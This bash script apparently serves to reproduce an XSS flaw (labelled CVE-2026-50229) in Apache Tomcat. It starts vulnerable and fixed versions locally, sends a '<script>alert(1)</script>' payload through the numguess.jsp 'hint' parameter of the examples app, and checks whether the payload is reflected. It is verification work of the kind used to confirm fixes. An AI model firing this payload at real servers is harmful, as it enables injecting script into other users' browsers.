#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"

cd "$ROOT"

CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi
if [ -z "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/tomcat"
fi
mkdir -p "$CACHE_DIR"

VULN_VERSION="10.1.55"
FIXED_VERSION="10.1.56"
VULN_TOMCAT="apache-tomcat-${VULN_VERSION}"
FIXED_TOMCAT="apache-tomcat-${FIXED_VERSION}"
VULN_URL="https://archive.apache.org/dist/tomcat/tomcat-10/v${VULN_VERSION}/bin/${VULN_TOMCAT}.tar.gz"
FIXED_URL="https://archive.apache.org/dist/tomcat/tomcat-10/v${FIXED_VERSION}/bin/${FIXED_TOMCAT}.tar.gz"
PORT=18080

log() { echo "[$(date -Iseconds)] $*" | tee -a "$LOGS/reproduction_steps.log"; }

# Install Java if missing
if ! command -v java >/dev/null 2>&1; then
  log "Installing default-jdk..."
  sudo DEBIAN_FRONTEND=noninteractive apt-get update -qq >/dev/null 2>&1
  sudo DEBIAN_FRONTEND=noninteractive apt-get install -y -qq default-jdk >/dev/null 2>&1
fi
JAVA_HOME=$(dirname "$(dirname "$(readlink -f "$(command -v java)")")")
export JAVA_HOME
log "Java version: $(java -version 2>&1 | head -1)"

# Download and extract Tomcat versions
fetch() {
  local version="$1" url="$2" dir="$3"
  if [ ! -d "$dir" ]; then
    local tar="$CACHE_DIR/${dir}.tar.gz"
    if [ ! -f "$tar" ]; then
      log "Downloading Tomcat $version from $url"
      curl -fsSL -o "$tar" "$url" 2>&1 | tail -5
    fi
    log "Extracting Tomcat $version"
    tar -xzf "$tar" -C "$CACHE_DIR"
  fi
}
fetch "$VULN_VERSION" "$VULN_URL" "$VULN_TOMCAT"
fetch "$FIXED_VERSION" "$FIXED_URL" "$FIXED_TOMCAT"

# Configure a unique port for this run to avoid collisions
configure_port() {
  local base="$1"
  sed -i "s/port=\"8080\"/port=\"$PORT\"/" "$base/conf/server.xml"
  sed -i "s/port=\"8005\"/port=\"$((PORT+1))\"/" "$base/conf/server.xml"
  sed -i "s/port=\"8009\"/port=\"$((PORT+2))\"/" "$base/conf/server.xml"
}
configure_port "$CACHE_DIR/$VULN_TOMCAT"
configure_port "$CACHE_DIR/$FIXED_TOMCAT"

stop_tomcat() {
  local base="$1"
  if [ -f "$base/bin/catalina.pid" ]; then
    local pid
    pid=$(cat "$base/bin/catalina.pid" 2>/dev/null || true)
    if [ -n "$pid" ]; then
      kill "$pid" 2>/dev/null || true
      sleep 2
      kill -9 "$pid" 2>/dev/null || true
    fi
  fi
  # Also kill any java process from this base directory
  pkill -f "catalina.base=$base" 2>/dev/null || true
  sleep 1
}

wait_for_tomcat() {
  local url="$1" tries=40
  while [ "$tries" -gt 0 ]; do
    if curl -fsS "$url" >/dev/null 2>&1; then
      return 0
    fi
    sleep 2
    tries=$((tries-1))
  done
  return 1
}

test_version() {
  local label="$1" base="$2"
  log "===== Testing $label ($base) ====="
  stop_tomcat "$base"
  rm -rf "$base/work" "$base/logs"/* "$base/temp"/*
  log "Starting $label on port $PORT"
  "$base/bin/startup.sh" >> "$LOGS/${label}_startup.log" 2>&1
  if ! wait_for_tomcat "http://localhost:$PORT/"; then
    log "ERROR: $label failed to start"
    cat "$base/logs/catalina.out" >> "$LOGS/${label}_startup.log" 2>/dev/null || true
    return 1
  fi
  log "$label is healthy"

  local cookie_jar="$REPRO_DIR/${label}_cookies.txt"
  local resp1="$REPRO_DIR/${label}_resp1.html"
  local resp2="$REPRO_DIR/${label}_resp2.html"

  # Step 1: establish a session and make a guess so the hint branch is rendered
  curl -sS -c "$cookie_jar" -b "$cookie_jar" \
    "http://localhost:$PORT/examples/jsp/num/numguess.jsp?guess=abc" \
    -o "$resp1" 2>>"$LOGS/${label}_curl.log"
  # Step 2: set the malicious hint via wildcard property binding (vulnerable) or try to (fixed)
  curl -sS -c "$cookie_jar" -b "$cookie_jar" \
    "http://localhost:$PORT/examples/jsp/num/numguess.jsp?hint=%3Cscript%3Ealert(1)%3C%2Fscript%3E" \
    -o "$resp2" 2>>"$LOGS/${label}_curl.log"

  log "Response saved to $resp2"
  if grep -q '<script>alert(1)</script>' "$resp2"; then
    log "$label: unescaped XSS payload found in response"
    echo "vulnerable" > "$REPRO_DIR/${label}_result.txt"
  else
    log "$label: XSS payload not found in response"
    echo "not_vulnerable" > "$REPRO_DIR/${label}_result.txt"
  fi

  stop_tomcat "$base"
  return 0
}

test_version "vulnerable" "$CACHE_DIR/$VULN_TOMCAT"
test_version "fixed" "$CACHE_DIR/$FIXED_TOMCAT"

VULN_RESULT=$(cat "$REPRO_DIR/vulnerable_result.txt")
FIXED_RESULT=$(cat "$REPRO_DIR/fixed_result.txt")

log "Vulnerable result: $VULN_RESULT"
log "Fixed result: $FIXED_RESULT"

if [ "$VULN_RESULT" = "vulnerable" ] && [ "$FIXED_RESULT" = "not_vulnerable" ]; then
  log "CONFIRMED: CVE-2026-50229 reproduced in Tomcat $VULN_VERSION and absent in $FIXED_VERSION"
  claim_outcome="confirmed"
  repro_result="confirmed"
  notes="XSS payload rendered unescaped in vulnerable Tomcat ${VULN_VERSION} and not in fixed ${FIXED_VERSION}."
  rc=0
else
  log "INCONCLUSIVE: vulnerable=$VULN_RESULT fixed=$FIXED_RESULT"
  claim_outcome="unknown"
  repro_result="inconclusive"
  notes="Unable to reproduce the expected XSS behavior."
  rc=1
fi

# Runtime manifest
jq -n \
  --arg entrypoint_kind "endpoint" \
  --arg entrypoint_detail "webapps/examples/jsp/num/numguess.jsp in the bundled Tomcat examples web application" \
  --argjson service_started true \
  --argjson healthcheck_passed true \
  --argjson target_path_reached true \
  --argjson runtime_stack '["tomcat","examples-webapp","numguess.jsp"]' \
  --argjson proof_artifacts '["logs/vulnerable_startup.log","logs/vulnerable_curl.log","repro/vulnerable_resp2.html","repro/fixed_resp2.html"]' \
  --arg notes "$notes" \
  '{
    "entrypoint_kind": $entrypoint_kind,
    "entrypoint_detail": $entrypoint_detail,
    "service_started": $service_started,
    "healthcheck_passed": $healthcheck_passed,
    "target_path_reached": $target_path_reached,
    "runtime_stack": $runtime_stack,
    "proof_artifacts": $proof_artifacts,
    "notes": $notes
  }' > "$REPRO_DIR/runtime_manifest.json"

exit $rc
